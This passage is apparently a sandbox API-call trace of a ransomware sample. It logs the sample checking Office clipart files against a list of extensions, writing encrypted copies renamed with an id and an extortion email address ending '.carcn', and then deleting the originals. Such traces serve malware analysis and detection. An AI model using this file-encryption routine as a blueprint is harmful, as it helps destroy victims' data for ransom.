(lpString=".ppt") returned 4 [0260.394] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0260.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0260.394] lstrlenW (lpString=".zip") returned 4 [0260.394] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0260.394] lstrlenW (lpString=".rar") returned 4 [0260.394] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0260.394] lstrlenW (lpString=".bz2") returned 4 [0260.394] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0260.394] lstrlenW (lpString=".7z") returned 3 [0260.394] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0260.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0260.395] lstrlenW (lpString=".dbf") returned 4 [0260.395] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0260.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0260.395] lstrlenW (lpString=".1cd") returned 4 [0260.395] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0260.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0260.395] lstrlenW (lpString=".jpg") returned 4 [0260.395] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0260.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0260.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0260.395] lstrlenW (lpString=".doc") returned 4 [0260.395] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0260.395] lstrlenW (lpString=".docx") returned 5 [0260.395] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0260.395] lstrlenW (lpString=".pdf") returned 4 [0260.395] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0260.395] lstrlenW (lpString=".xls") returned 4 [0260.395] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0260.395] lstrlenW (lpString=".xlsx") returned 5 [0260.395] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0260.395] lstrlenW (lpString=".ppt") returned 4 [0260.395] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0260.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0260.395] lstrlenW (lpString=".zip") returned 4 [0260.395] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0260.395] lstrlenW (lpString=".rar") returned 4 [0260.395] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0260.395] lstrlenW (lpString=".bz2") returned 4 [0260.396] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0260.396] lstrlenW (lpString=".7z") returned 3 [0260.396] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0260.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0260.396] lstrlenW (lpString=".dbf") returned 4 [0260.396] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0260.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0260.396] lstrlenW (lpString=".1cd") returned 4 [0260.396] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0260.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0260.396] lstrlenW (lpString=".jpg") returned 4 [0260.396] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0260.396] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0260.396] lstrlenW (lpString="AN00965_.WMF") returned 12 [0260.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0260.397] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=7072) returned 1 [0260.397] CloseHandle (hObject=0x4c8) returned 1 [0260.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf")) returned 0x220 [0260.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0260.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0260.430] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.431] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0260.521] GetLastError () returned 0x0 [0260.521] ReadFile (in: hFile=0x4c8, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x1ba0, lpOverlapped=0x0) returned 1 [0260.608] WriteFile (in: hFile=0x4b4, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x1bb0, lpOverlapped=0x0) returned 1 [0260.609] ReadFile (in: hFile=0x4c8, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0260.609] WriteFile (in: hFile=0x4b4, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0260.610] SetEndOfFile (hFile=0x4b4) returned 1 [0260.610] CloseHandle (hObject=0x4b4) returned 1 [0260.612] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.612] SetEndOfFile (hFile=0x4c8) returned 1 [0260.619] CloseHandle (hObject=0x4c8) returned 1 [0260.620] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0260.762] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf")) returned 1 [0261.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0261.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0261.701] lstrlenW (lpString=".doc") returned 4 [0261.701] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.701] lstrlenW (lpString=".docx") returned 5 [0261.701] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0261.701] lstrlenW (lpString=".pdf") returned 4 [0261.701] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.701] lstrlenW (lpString=".xls") returned 4 [0261.701] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.701] lstrlenW (lpString=".xlsx") returned 5 [0261.701] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0261.701] lstrlenW (lpString=".ppt") returned 4 [0261.702] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0261.702] lstrlenW (lpString=".zip") returned 4 [0261.702] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.702] lstrlenW (lpString=".rar") returned 4 [0261.702] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.702] lstrlenW (lpString=".bz2") returned 4 [0261.702] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.702] lstrlenW (lpString=".7z") returned 3 [0261.702] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0261.702] lstrlenW (lpString=".dbf") returned 4 [0261.702] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0261.702] lstrlenW (lpString=".1cd") returned 4 [0261.702] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0261.702] lstrlenW (lpString=".jpg") returned 4 [0261.702] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0261.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0261.702] lstrlenW (lpString=".doc") returned 4 [0261.702] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.702] lstrlenW (lpString=".docx") returned 5 [0261.702] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0261.702] lstrlenW (lpString=".pdf") returned 4 [0261.702] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.702] lstrlenW (lpString=".xls") returned 4 [0261.702] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.703] lstrlenW (lpString=".xlsx") returned 5 [0261.703] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0261.703] lstrlenW (lpString=".ppt") returned 4 [0261.703] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0261.703] lstrlenW (lpString=".zip") returned 4 [0261.703] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.703] lstrlenW (lpString=".rar") returned 4 [0261.703] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.703] lstrlenW (lpString=".bz2") returned 4 [0261.703] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.703] lstrlenW (lpString=".7z") returned 3 [0261.703] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0261.703] lstrlenW (lpString=".dbf") returned 4 [0261.703] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0261.703] lstrlenW (lpString=".1cd") returned 4 [0261.703] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0261.703] lstrlenW (lpString=".jpg") returned 4 [0261.703] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.703] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0261.703] lstrlenW (lpString="AN01060_.WMF") returned 12 [0261.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0261.708] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=7968) returned 1 [0261.708] CloseHandle (hObject=0x528) returned 1 [0261.708] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf")) returned 0x220 [0261.708] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0261.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0261.708] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.708] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0261.709] GetLastError () returned 0x0 [0261.709] ReadFile (in: hFile=0x528, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x1f20, lpOverlapped=0x0) returned 1 [0261.751] WriteFile (in: hFile=0x530, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x1f30, lpOverlapped=0x0) returned 1 [0261.752] ReadFile (in: hFile=0x528, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0261.752] WriteFile (in: hFile=0x530, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0261.752] SetEndOfFile (hFile=0x530) returned 1 [0261.752] CloseHandle (hObject=0x530) returned 1 [0261.757] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.757] SetEndOfFile (hFile=0x528) returned 1 [0261.760] CloseHandle (hObject=0x528) returned 1 [0261.760] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0261.761] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf")) returned 1 [0261.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0261.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0261.761] lstrlenW (lpString=".doc") returned 4 [0261.761] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.761] lstrlenW (lpString=".docx") returned 5 [0261.761] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0261.761] lstrlenW (lpString=".pdf") returned 4 [0261.761] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.761] lstrlenW (lpString=".xls") returned 4 [0261.761] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.762] lstrlenW (lpString=".xlsx") returned 5 [0261.762] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0261.762] lstrlenW (lpString=".ppt") returned 4 [0261.762] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0261.762] lstrlenW (lpString=".zip") returned 4 [0261.762] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.762] lstrlenW (lpString=".rar") returned 4 [0261.762] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.762] lstrlenW (lpString=".bz2") returned 4 [0261.762] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.762] lstrlenW (lpString=".7z") returned 3 [0261.762] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0261.762] lstrlenW (lpString=".dbf") returned 4 [0261.762] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0261.762] lstrlenW (lpString=".1cd") returned 4 [0261.762] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0261.762] lstrlenW (lpString=".jpg") returned 4 [0261.762] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0261.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0261.762] lstrlenW (lpString=".doc") returned 4 [0261.762] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.763] lstrlenW (lpString=".docx") returned 5 [0261.763] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0261.763] lstrlenW (lpString=".pdf") returned 4 [0261.763] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.763] lstrlenW (lpString=".xls") returned 4 [0261.763] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.763] lstrlenW (lpString=".xlsx") returned 5 [0261.763] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0261.763] lstrlenW (lpString=".ppt") returned 4 [0261.763] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0261.763] lstrlenW (lpString=".zip") returned 4 [0261.763] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.763] lstrlenW (lpString=".rar") returned 4 [0261.763] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.763] lstrlenW (lpString=".bz2") returned 4 [0261.763] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.763] lstrlenW (lpString=".7z") returned 3 [0261.763] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0261.763] lstrlenW (lpString=".dbf") returned 4 [0261.763] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0261.763] lstrlenW (lpString=".1cd") returned 4 [0261.763] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0261.763] lstrlenW (lpString=".jpg") returned 4 [0261.763] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.764] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0261.764] lstrlenW (lpString="AN01084_.WMF") returned 12 [0261.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0261.764] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=1832) returned 1 [0261.764] CloseHandle (hObject=0x528) returned 1 [0261.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf")) returned 0x220 [0261.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0261.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0261.765] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.765] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0261.766] GetLastError () returned 0x0 [0261.766] ReadFile (in: hFile=0x528, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x728, lpOverlapped=0x0) returned 1 [0261.935] WriteFile (in: hFile=0x530, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x730, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x730, lpOverlapped=0x0) returned 1 [0261.936] ReadFile (in: hFile=0x528, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0261.936] WriteFile (in: hFile=0x530, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0261.936] SetEndOfFile (hFile=0x530) returned 1 [0261.936] CloseHandle (hObject=0x530) returned 1 [0261.937] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.937] SetEndOfFile (hFile=0x528) returned 1 [0261.940] CloseHandle (hObject=0x528) returned 1 [0261.940] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0261.941] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf")) returned 1 [0261.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0261.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0261.942] lstrlenW (lpString=".doc") returned 4 [0261.942] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.942] lstrlenW (lpString=".docx") returned 5 [0261.942] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0261.942] lstrlenW (lpString=".pdf") returned 4 [0261.942] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.942] lstrlenW (lpString=".xls") returned 4 [0261.942] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.942] lstrlenW (lpString=".xlsx") returned 5 [0261.942] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0261.942] lstrlenW (lpString=".ppt") returned 4 [0261.942] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0261.942] lstrlenW (lpString=".zip") returned 4 [0261.942] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.942] lstrlenW (lpString=".rar") returned 4 [0261.942] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.942] lstrlenW (lpString=".bz2") returned 4 [0261.942] lstrcmpiW 